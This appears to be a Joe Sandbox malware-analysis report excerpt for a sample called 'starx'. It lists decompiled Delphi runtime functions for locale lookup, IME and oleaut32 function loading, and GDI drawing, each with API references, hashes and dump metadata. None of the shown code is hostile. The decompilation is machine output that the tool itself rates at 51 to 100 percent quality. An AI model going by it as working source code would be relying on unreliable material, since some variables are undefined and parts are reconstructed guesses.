				intOrPtr _v8;
				intOrPtr _t12;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;

				_v8 = __eax;
				_t22 =  *__edx;
				_t26 = _t22 - 0x113;
				if(_t22 != 0x113) {
					_push( *((intOrPtr*)(__edx + 8)));
					_push( *((intOrPtr*)(__edx + 4)));
					_push(_t22);
					_t12 =  *((intOrPtr*)(_v8 + 0x34));
					_push(_t12);
					L004064DC();
					 *((intOrPtr*)(__edx + 0xc)) = _t12;
					return _t12;
				}
				_push(0x42a55e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t25;
				E0040346C(_v8, _t26);
				_pop(_t21);
				 *[fs:eax] = _t21;
				return 0;
			}

0x0042a52d
0x0042a530
0x0042a532
0x0042a538
0x0042a57c
0x0042a580
0x0042a581
0x0042a585
0x0042a588
0x0042a589
0x0042a58e
0x00000000
0x0042a58e
0x0042a53d
0x0042a542
0x0042a545
0x0042a54f
0x0042a556
0x0042a559
0x00000000

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0042A589

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 23e8e5ee7f9623cab6fa6217f96c646bf20d845f7c26f3508d70e8a268266fed
Instruction ID: 5f2f096c5f6d2fb36375acabb91d644017bfda39369d0b4449f68f4ebded22f5
Opcode Fuzzy Hash: 23e8e5ee7f9623cab6fa6217f96c646bf20d845f7c26f3508d70e8a268266fed
Instruction Fuzzy Hash: 80F06D76B04214BF9B41DEAEE881C96BBECEB4D72035140B6FD08DB641D239AD108A79

Uniqueness

Uniqueness Score: -1.00%

Function 00405B7A, Relevance: 1.5, APIs: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00405B7A(int __eax, void* __ebx, void* __eflags) {
				char _v8;
				char _v15;
				char _v20;
				intOrPtr _t29;
				void* _t32;

				_v20 = 0;
				_push(_t32);
				_push(0x405be2);
				_push( *[fs:edx]);
				 *[fs:edx] = _t32 + 0xfffffff0;
				GetLocaleInfoA(__eax, 0x1004,  &_v15, 7);
				E00404230( &_v20, 7,  &_v15);
				E00402C9C(_v20,  &_v8);
				if(_v8 != 0) {
				}
				_pop(_t29);
				 *[fs:eax] = _t29;
				_push(E00405BE9);
				return E00403FC0( &_v20);
			}

0x00405b85
0x00405b8a
0x00405b8b
0x00405b90
0x00405b93
0x00405ba2
0x00405bb2
0x00405bbd
0x00405bc8
0x00405bc8
0x00405bce
0x00405bd1
0x00405bd4
0x00405be1

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00405BE2), ref: 00405BA2

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 99cb4ea6b5fe7d5f47b1153a3dcf09691059f2a45fb712a4a810cb936cda94b1
Instruction ID: 233fc5c30a7566bf57ae22f52f9c75d778d828355de815791b5f9d486045bbaa
Opcode Fuzzy Hash: 99cb4ea6b5fe7d5f47b1153a3dcf09691059f2a45fb712a4a810cb936cda94b1
Instruction Fuzzy Hash: 76F0C830A08709AFE714DFA1CC41AEFB77AF784714F50887AB110B65C0E7B87A048A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405B7C, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00405B7C(int __eax, void* __ebx, void* __eflags) {
				char _v8;
				char _v15;
				char _v20;
				intOrPtr _t29;
				void* _t32;

				_v20 = 0;
				_push(_t32);
				_push(0x405be2);
				_push( *[fs:edx]);
				 *[fs:edx] = _t32 + 0xfffffff0;
				GetLocaleInfoA(__eax, 0x1004,  &_v15, 7);
				E00404230( &_v20, 7,  &_v15);
				E00402C9C(_v20,  &_v8);
				if(_v8 != 0) {
				}
				_pop(_t29);
				 *[fs:eax] = _t29;
				_push(E00405BE9);
				return E00403FC0( &_v20);
			}

0x00405b85
0x00405b8a
0x00405b8b
0x00405b90
0x00405b93
0x00405ba2
0x00405bb2
0x00405bbd
0x00405bc8
0x00405bc8
0x00405bce
0x00405bd1
0x00405bd4
0x00405be1

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00405BE2), ref: 00405BA2

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 96d07a99d57bd6d89526164989c426daea9e7d43c61b0348a9c4cd52ac1e3066
Instruction ID: 3924148db50867ebe03b3c3d32479a47cf5b6d5499701c62b3f70eea3095491d
Opcode Fuzzy Hash: 96d07a99d57bd6d89526164989c426daea9e7d43c61b0348a9c4cd52ac1e3066
Instruction Fuzzy Hash: DFF06830A08709AFE715DFA1CC41ADFB77AF784714F50897AA110765D4E7B87A048A98

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE1C, Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AE1C(int __eax, void* __ecx, int __edx, intOrPtr _a4) {
				char _v260;
				intOrPtr _t10;
				void* _t18;

				_t18 = __ecx;
				_t10 = _a4;
				if(GetLocaleInfoA(__eax, __edx,  &_v260, 0x100) <= 0) {
					return E00404014(_t10, _t18);
				}
				return E004040B0(_t10, _t5 - 1,  &_v260);
			}

0x0040ae27
0x0040ae29
0x0040ae41
0x00000000
0x0040ae59
0x00000000

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0040AE3A

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2388294274d5436514de4869ec08fa8217b65203873c34f96f9b61882f1bcd00
Instruction ID: 8dfc73b80e2c8c146d9cfa7e8a2f331a231687f284dc3388b5c05d9648b2d155
Opcode Fuzzy Hash: 2388294274d5436514de4869ec08fa8217b65203873c34f96f9b61882f1bcd00
Instruction Fuzzy Hash: E1E0D87174021457D320A9699C82BF7725C979C710F00417FBB09E73C6EDB59D5042EE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE68, Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040AE68(int __eax, char __ecx, int __edx) {
				char _v16;
				char _t5;
				char _t6;

				_push(__ecx);
				_t6 = __ecx;
				if(GetLocaleInfoA(__eax, __edx,  &_v16, 2) <= 0) {
					_t5 = _t6;
				} else {
					_t5 = _v16;
				}
				return _t5;
			}

0x0040ae6b
0x0040ae6c
0x0040ae82
0x0040ae89
0x0040ae84
0x0040ae84
0x0040ae84
0x0040ae8f

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040C7D2,00000000,0040C9EB,?,?,00000000,00000000), ref: 0040AE7B

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7c66896d1a02b6fed0e02e0cb488c39a24dd3778ea4601883e0da24e6aa3c17a
Instruction ID: 211d298f406f712d8fd6d060c31ced4d18a49e2dafeea3568112dcd8d4f8a431
Opcode Fuzzy Hash: 7c66896d1a02b6fed0e02e0cb488c39a24dd3778ea4601883e0da24e6aa3c17a
Instruction Fuzzy Hash: 19D05E6634D2506AF220915B6D85DBB4B9CCBC57A0F10403FF94DD7242D2248C1693F7

Uniqueness

Uniqueness Score: -1.00%

Function 0040991C, Relevance: 1.5, APIs: 1, Instructions: 6
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040991C() {
				struct _SYSTEMTIME* _t2;

				GetLocalTime(_t2);
				return _t2->wYear;
			}

0x00409920
0x0040992c

APIs

GetLocalTime.KERNEL32 ref: 00409920

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: d2a840111eb9be12d49fbdf81b4010b97eadc0585941fd7e5dda72cba41cc121
Instruction ID: e3fcb9d8d53b79d4fc199c84affdf266be35e1c6df69681451c2228921b01add
Opcode Fuzzy Hash: d2a840111eb9be12d49fbdf81b4010b97eadc0585941fd7e5dda72cba41cc121
Instruction Fuzzy Hash: 1DA0120844480141C54073180C0315430545800620FC4475468B8103D6E92E023081DB

Uniqueness

Uniqueness Score: -1.00%

Function 00447C60, Relevance: 49.1, APIs: 15, Strings: 13, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00447C60() {
				int _v8;
				intOrPtr _t4;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t13;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t17;
				struct HINSTANCE__* _t19;
				struct HINSTANCE__* _t21;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t25;
				struct HINSTANCE__* _t27;
				struct HINSTANCE__* _t29;
				intOrPtr _t40;
				intOrPtr _t42;
				intOrPtr _t44;

				_t42 = _t44;
				_t4 =  *0x47e934; // 0x47f740
				if( *((char*)(_t4 + 0xc)) == 0) {
					return _t4;
				} else {
					_v8 = SetErrorMode(0x8000);
					_push(_t42);
					_push(0x447dc6);
					_push( *[fs:eax]);
					 *[fs:eax] = _t44;
					if( *0x47fb6c == 0) {
						 *0x47fb6c = GetProcAddress(GetModuleHandleA("USER32"), "WINNLSEnableIME");
					}
					if( *0x467c70 == 0) {
						 *0x467c70 = LoadLibraryA("imm32.dll");
						if( *0x467c70 != 0) {
							_t11 =  *0x467c70; // 0x0
							 *0x47fb70 = GetProcAddress(_t11, "ImmGetContext");
							_t13 =  *0x467c70; // 0x0
							 *0x47fb74 = GetProcAddress(_t13, "ImmReleaseContext");
							_t15 =  *0x467c70; // 0x0
							 *0x47fb78 = GetProcAddress(_t15, "ImmGetConversionStatus");
							_t17 =  *0x467c70; // 0x0
							 *0x47fb7c = GetProcAddress(_t17, "ImmSetConversionStatus");
							_t19 =  *0x467c70; // 0x0
							 *0x47fb80 = GetProcAddress(_t19, "ImmSetOpenStatus");
							_t21 =  *0x467c70; // 0x0
							 *0x47fb84 = GetProcAddress(_t21, "ImmSetCompositionWindow");
							_t23 =  *0x467c70; // 0x0
							 *0x47fb88 = GetProcAddress(_t23, "ImmSetCompositionFontA");
							_t25 =  *0x467c70; // 0x0
							 *0x47fb8c = GetProcAddress(_t25, "ImmGetCompositionStringA");
							_t27 =  *0x467c70; // 0x0
							 *0x47fb90 = GetProcAddress(_t27, "ImmIsIME");
							_t29 =  *0x467c70; // 0x0
							 *0x47fb94 = GetProcAddress(_t29, "ImmNotifyIME");
						}
					}
					_pop(_t40);
					 *[fs:eax] = _t40;
					_push(0x447dcd);
					return SetErrorMode(_v8);
				}
			}

0x00447c61
0x00447c65
0x00447c6e
0x00447dd0
0x00447c74
0x00447c7e
0x00447c83
0x00447c84
0x00447c89
0x00447c8c
0x00447c96
0x00447caf
0x00447caf
0x00447cbb
0x00447ccb
0x00447cd7
0x00447ce2
0x00447ced
0x00447cf7
0x00447d02
0x00447d0c
0x00447d17
0x00447d21
0x00447d2c
0x00447d36
0x00447d41
0x00447d4b
0x00447d56
0x00447d60
0x00447d6b
0x00447d75
0x00447d80
0x00447d8a
0x00447d95
0x00447d9f
0x00447daa
0x00447daa
0x00447cd7
0x00447db1
0x00447db4
0x00447db7
0x00447dc5
0x00447dc5

APIs

SetErrorMode.KERNEL32(00008000), ref: 00447C79
GetModuleHandleA.KERNEL32(USER32,00000000,00447DC6,?,00008000), ref: 00447C9D
GetProcAddress.KERNEL32(00000000,WINNLSEnableIME), ref: 00447CAA
LoadLibraryA.KERNEL32(imm32.dll,00000000,00447DC6,?,00008000), ref: 00447CC6
GetProcAddress.KERNEL32(00000000,ImmGetContext), ref: 00447CE8
GetProcAddress.KERNEL32(00000000,ImmReleaseContext), ref: 00447CFD
GetProcAddress.KERNEL32(00000000,ImmGetConversionStatus), ref: 00447D12
GetProcAddress.KERNEL32(00000000,ImmSetConversionStatus), ref: 00447D27
GetProcAddress.KERNEL32(00000000,ImmSetOpenStatus), ref: 00447D3C
GetProcAddress.KERNEL32(00000000,ImmSetCompositionWindow), ref: 00447D51
GetProcAddress.KERNEL32(00000000,ImmSetCompositionFontA), ref: 00447D66
GetProcAddress.KERNEL32(00000000,ImmGetCompositionStringA), ref: 00447D7B
GetProcAddress.KERNEL32(00000000,ImmIsIME), ref: 00447D90
GetProcAddress.KERNEL32(00000000,ImmNotifyIME), ref: 00447DA5
SetErrorMode.KERNEL32(?,00447DCD,00008000), ref: 00447DC0

Strings

ImmGetCompositionStringA, xrefs: 00447D70
ImmReleaseContext, xrefs: 00447CF2
ImmIsIME, xrefs: 00447D85
ImmNotifyIME, xrefs: 00447D9A
ImmSetCompositionWindow, xrefs: 00447D46
ImmSetOpenStatus, xrefs: 00447D31
ImmGetConversionStatus, xrefs: 00447D07
imm32.dll, xrefs: 00447CC1
WINNLSEnableIME, xrefs: 00447CA4
ImmSetConversionStatus, xrefs: 00447D1C
ImmGetContext, xrefs: 00447CDD
USER32, xrefs: 00447C98
ImmSetCompositionFontA, xrefs: 00447D5B

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: AddressProc$ErrorMode$HandleLibraryLoadModule
String ID: ImmGetCompositionStringA$ImmGetContext$ImmGetConversionStatus$ImmIsIME$ImmNotifyIME$ImmReleaseContext$ImmSetCompositionFontA$ImmSetCompositionWindow$ImmSetConversionStatus$ImmSetOpenStatus$USER32$WINNLSEnableIME$imm32.dll
API String ID: 3397921170-3950384806
Opcode ID: 85fec3a41f8f50ae08969ee1854a7d937a8500b25cfedeb80ea71363c38572eb
Instruction ID: 3c9050bb853f28e81bdf2d2a7cb97798ed591d32e7b9831e4111e6ce993b9366
Opcode Fuzzy Hash: 85fec3a41f8f50ae08969ee1854a7d937a8500b25cfedeb80ea71363c38572eb
Instruction Fuzzy Hash: CB316DB1A6C600AEE700EBB1EC06A2537A8F705708761057BF104972A1DBBE5896CB1C

Uniqueness

Uniqueness Score: -1.00%

Function 0040DACC, Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DACC() {
				struct HINSTANCE__* _v8;
				intOrPtr _t46;
				void* _t91;

				_v8 = GetModuleHandleA("oleaut32.dll");
				 *0x47f7a0 = E0040DAA0("VariantChangeTypeEx", E0040D63C, _t91);
				 *0x47f7a4 = E0040DAA0("VarNeg", E0040D66C, _t91);
				 *0x47f7a8 = E0040DAA0("VarNot", E0040D66C, _t91);
				 *0x47f7ac = E0040DAA0("VarAdd", E0040D678, _t91);
				 *0x47f7b0 = E0040DAA0("VarSub", E0040D678, _t91);
				 *0x47f7b4 = E0040DAA0("VarMul", E0040D678, _t91);
				 *0x47f7b8 = E0040DAA0("VarDiv", E0040D678, _t91);
				 *0x47f7bc = E0040DAA0("VarIdiv", E0040D678, _t91);
				 *0x47f7c0 = E0040DAA0("VarMod", E0040D678, _t91);
				 *0x47f7c4 = E0040DAA0("VarAnd", E0040D678, _t91);
				 *0x47f7c8 = E0040DAA0("VarOr", E0040D678, _t91);
				 *0x47f7cc = E0040DAA0("VarXor", E0040D678, _t91);
				 *0x47f7d0 = E0040DAA0("VarCmp", E0040D684, _t91);
				 *0x47f7d4 = E0040DAA0("VarI4FromStr", E0040D690, _t91);
				 *0x47f7d8 = E0040DAA0("VarR4FromStr", E0040D6FC, _t91);
				 *0x47f7dc = E0040DAA0("VarR8FromStr", E0040D768, _t91);
				 *0x47f7e0 = E0040DAA0("VarDateFromStr", E0040D7D4, _t91);
				 *0x47f7e4 = E0040DAA0("VarCyFromStr", E0040D840, _t91);
				 *0x47f7e8 = E0040DAA0("VarBoolFromStr", E0040D8AC, _t91);
				 *0x47f7ec = E0040DAA0("VarBstrFromCy", E0040D92C, _t91);
				 *0x47f7f0 = E0040DAA0("VarBstrFromDate", E0040D99C, _t91);
				_t46 = E0040DAA0("VarBstrFromBool", E0040DA0C, _t91);
				 *0x47f7f4 = _t46;
				return _t46;
			}

0x0040dada
0x0040daee
0x0040db04
0x0040db1a
0x0040db30
0x0040db46
0x0040db5c
0x0040db72
0x0040db88
0x0040db9e
0x0040dbb4
0x0040dbca
0x0040dbe0
0x0040dbf6
0x0040dc0c
0x0040dc22
0x0040dc38
0x0040dc4e
0x0040dc64
0x0040dc7a
0x0040dc90
0x0040dca6
0x0040dcb6
0x0040dcbc
0x0040dcc3

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 0040DAD5

Part of subcall function 0040DAA0: GetProcAddress.KERNEL32(00000000), ref: 0040DAB9

Strings

VarBoolFromStr, xrefs: 0040DC6F
VarBstrFromDate, xrefs: 0040DC9B
oleaut32.dll, xrefs: 0040DAD0
VarNeg, xrefs: 0040DAF9
VarAnd, xrefs: 0040DBA9
VarBstrFromCy, xrefs: 0040DC85
VarR4FromStr, xrefs: 0040DC17
VarSub, xrefs: 0040DB3B
VarDateFromStr, xrefs: 0040DC43
VarCyFromStr, xrefs: 0040DC59
VarAdd, xrefs: 0040DB25
VarDiv, xrefs: 0040DB67
VarMod, xrefs: 0040DB93
VarR8FromStr, xrefs: 0040DC2D
VarIdiv, xrefs: 0040DB7D
VarOr, xrefs: 0040DBBF
VarBstrFromBool, xrefs: 0040DCB1
VariantChangeTypeEx, xrefs: 0040DAE3
VarMul, xrefs: 0040DB51
VarNot, xrefs: 0040DB0F
VarXor, xrefs: 0040DBD5
VarCmp, xrefs: 0040DBEB
VarI4FromStr, xrefs: 0040DC01

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 4efe988aea52351926303b32100ec41715cd93133dcde61d6bc8602a09e74bd9
Instruction ID: 2200bd9c9b62e0f7c2a11770c88f6249990bb9d930b0ddb8ac2b70b4ca8f701c
Opcode Fuzzy Hash: 4efe988aea52351926303b32100ec41715cd93133dcde61d6bc8602a09e74bd9
Instruction Fuzzy Hash: 1A4179A1F082045AD308BBEE680182677D9DB947143A0C53BB409BB6D9DB3DAC8D5A2D

Uniqueness

Uniqueness Score: -1.00%

Function 0041DFF4, Relevance: 37.7, APIs: 25, Instructions: 248
windowCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E0041DFF4(struct HDC__* __eax, void* __ebx, int __ecx, int __edx, void* __edi, void* __esi, int _a4, int _a8, struct HDC__* _a12, int _a16, int _a20, int _a24, int _a28, struct HDC__* _a32, int _a36, int _a40) {
				int _v8;
				int _v12;
				char _v13;
				struct HDC__* _v20;
				void* _v24;
				void* _v28;
				long _v32;
				long _v36;
				intOrPtr _v40;
				intOrPtr* _t78;
				intOrPtr _t87;
				struct HDC__* _t88;
				intOrPtr _t91;
				struct HDC__* _t92;
				struct HDC__* _t135;
				int _t162;
				intOrPtr _t169;
				intOrPtr _t171;
				struct HDC__* _t173;
				int _t175;
				void* _t177;
				void* _t178;
				intOrPtr _t179;

				_t177 = _t178;
				_t179 = _t178 + 0xffffffdc;
				_v12 = __ecx;
				_v8 = __edx;
				_t173 = __eax;
				_t175 = _a16;
				_t162 = _a20;
				_v13 = 1;
				_t78 =  *0x47e928; // 0x4670c4
				if( *_t78 != 2 || _t162 != _a40 || _t175 != _a36) {
					_v40 = 0;
					_push(0);
					L0040626C();
					_v20 = E0041DE50(0);
					_push(_t177);
					_push(0x41e274);
					_push( *[fs:eax]);
					 *[fs:eax] = _t179;
					_push(_t175);
					_push(_t162);
					_push(_a32);
					L00406264();
					_v24 = E0041DE50(_a32);
					_v28 = SelectObject(_v20, _v24);
					_push(0);
					_t87 =  *0x47f88c; // 0xea080668
					_push(_t87);
					_t88 = _a32;
					_push(_t88);
					L004063E4();
					_v40 = _t88;
					_push(0);
					_push(_v40);
					_push(_a32);
					L004063E4();
					if(_v40 == 0) {
						_push(0xffffffff);
						_t91 =  *0x47f88c; // 0xea080668
						_push(_t91);
						_t92 = _v20;
						_push(_t92);
						L004063E4();
						_v40 = _t92;
					} else {
						_push(0xffffffff);
						_push(_v40);
						_t135 = _v20;
						_push(_t135);
						L004063E4();
						_v40 = _t135;
					}
					_push(_v20);
					L004063B4();
					StretchBlt(_v20, 0, 0, _t162, _t175, _a12, _a8, _a4, _t162, _t175, 0xcc0020);
					StretchBlt(_v20, 0, 0, _t162, _t175, _a32, _a28, _a24, _t162, _t175, 0x440328);
					_v32 = SetTextColor(_t173, 0);
					_v36 = SetBkColor(_t173, 0xffffff);
					StretchBlt(_t173, _v8, _v12, _a40, _a36, _a12, _a8, _a4, _t162, _t175, 0x8800c6);
					StretchBlt(_t173, _v8, _v12, _a40, _a36, _v20, 0, 0, _t162, _t175, 0x660046);
					SetTextColor(_t173, _v32);
					SetBkColor(_t173, _v36);
					if(_v28 != 0) {
						SelectObject(_v20, _v28);
					}
					DeleteObject(_v24);
					_pop(_t169);
					 *[fs:eax] = _t169;
					_push(0x41e27b);
					if(_v40 != 0) {
						_push(0);
						_push(_v40);
						_push(_v20);
						L004063E4();
					}
					return DeleteDC(_v20);
				} else {
					_push(1);
					_push(1);
					_push(_a32);
					L00406264();
					_v24 = E0041DE50(_a32);
					_v24 = SelectObject(_a12, _v24);
					_push(_t177);
					_push(0x41e0c7);
					_push( *[fs:eax]);
					 *[fs:eax] = _t179;
					MaskBlt(_t173, _v8, _v12, _a40, _a36, _a32, _a28, _a24, _v24, _a8, _a4, E004069C8(0xaa0029, 0xcc0020));
					_pop(_t171);
					 *[fs:eax] = _t171;
					_push(0x41e27b);
					_v24 = SelectObject(_a12, _v24);
					return DeleteObject(_v24);
				}
			}

0x0041dff5
0x0041dff7
0x0041dffd
0x0041e000
0x0041e003
0x0041e005
0x0041e008
0x0041e00b
0x0041e00f
0x0041e017
0x0041e0d0
0x0041e0d3
0x0041e0d5
0x0041e0df
0x0041e0e4
0x0041e0e5
0x0041e0ea
0x0041e0ed
0x0041e0f0
0x0041e0f1
0x0041e0f5
0x0041e0f6
0x0041e100
0x0041e110
0x0041e113
0x0041e115
0x0041e11a
0x0041e11b
0x0041e11e
0x0041e11f
0x0041e124
0x0041e127
0x0041e12c
0x0041e130
0x0041e131
0x0041e13a
0x0041e150
0x0041e152
0x0041e157
0x0041e158
0x0041e15b
0x0041e15c
0x0041e161
0x0041e13c
0x0041e13c
0x0041e141
0x0041e142
0x0041e145
0x0041e146
0x0041e14b
0x0041e14b
0x0041e167
0x0041e168
0x0041e18a
0x0041e1ac
0x0041e1b9
0x0041e1c7
0x0041e1ee
0x0041e213
0x0041e21d
0x0041e227
0x0041e230
0x0041e23a
0x0041e23a
0x0041e243
0x0041e24a
0x0041e24d
0x0041e250
0x0041e259
0x0041e25b
0x0041e260
0x0041e264
0x0041e265
0x0041e265
0x0041e273
0x0041e02f
0x0041e02f
0x0041e031
0x0041e036
0x0041e037
0x0041e041
0x0041e051
0x0041e056
0x0041e057
0x0041e05c
0x0041e05f
0x0041e09b
0x0041e0a2
0x0041e0a5
0x0041e0a8
0x0041e0ba
0x0041e0c6
0x0041e0c6

APIs

739EA520.GDI32(?,00000001,00000001), ref: 0041E037
SelectObject.GDI32(?,?), ref: 0041E04C
MaskBlt.GDI32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,0041E0C7,?,?), ref: 0041E09B
SelectObject.GDI32(?,?), ref: 0041E0B5
DeleteObject.GDI32(?), ref: 0041E0C1
739EA590.GDI32(00000000), ref: 0041E0D5
739EA520.GDI32(?,?,?,00000000,0041E274,?,00000000), ref: 0041E0F6
SelectObject.GDI32(?,?), ref: 0041E10B
739EB410.GDI32(?,EA080668,00000000,?,?,?,?,?,00000000,0041E274,?,00000000), ref: 0041E11F
739EB410.GDI32(?,?,00000000,?,EA080668,00000000,?,?,?,?,?,00000000,0041E274,?,00000000), ref: 0041E131
739EB410.GDI32(?,00000000,000000FF,?,?,00000000,?,EA080668,00000000,?,?,?,?,?,00000000,0041E274), ref: 0041E146
739EB410.GDI32(?,EA080668,000000FF,?,?,00000000,?,EA080668,00000000,?,?,?,?,?,00000000,0041E274), ref: 0041E15C
739EB150.GDI32(?,?,EA080668,000000FF,?,?,00000000,?,EA080668,00000000,?,?,?,?,?,00000000), ref: 0041E168
StretchBlt.GDI32(?,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 0041E18A
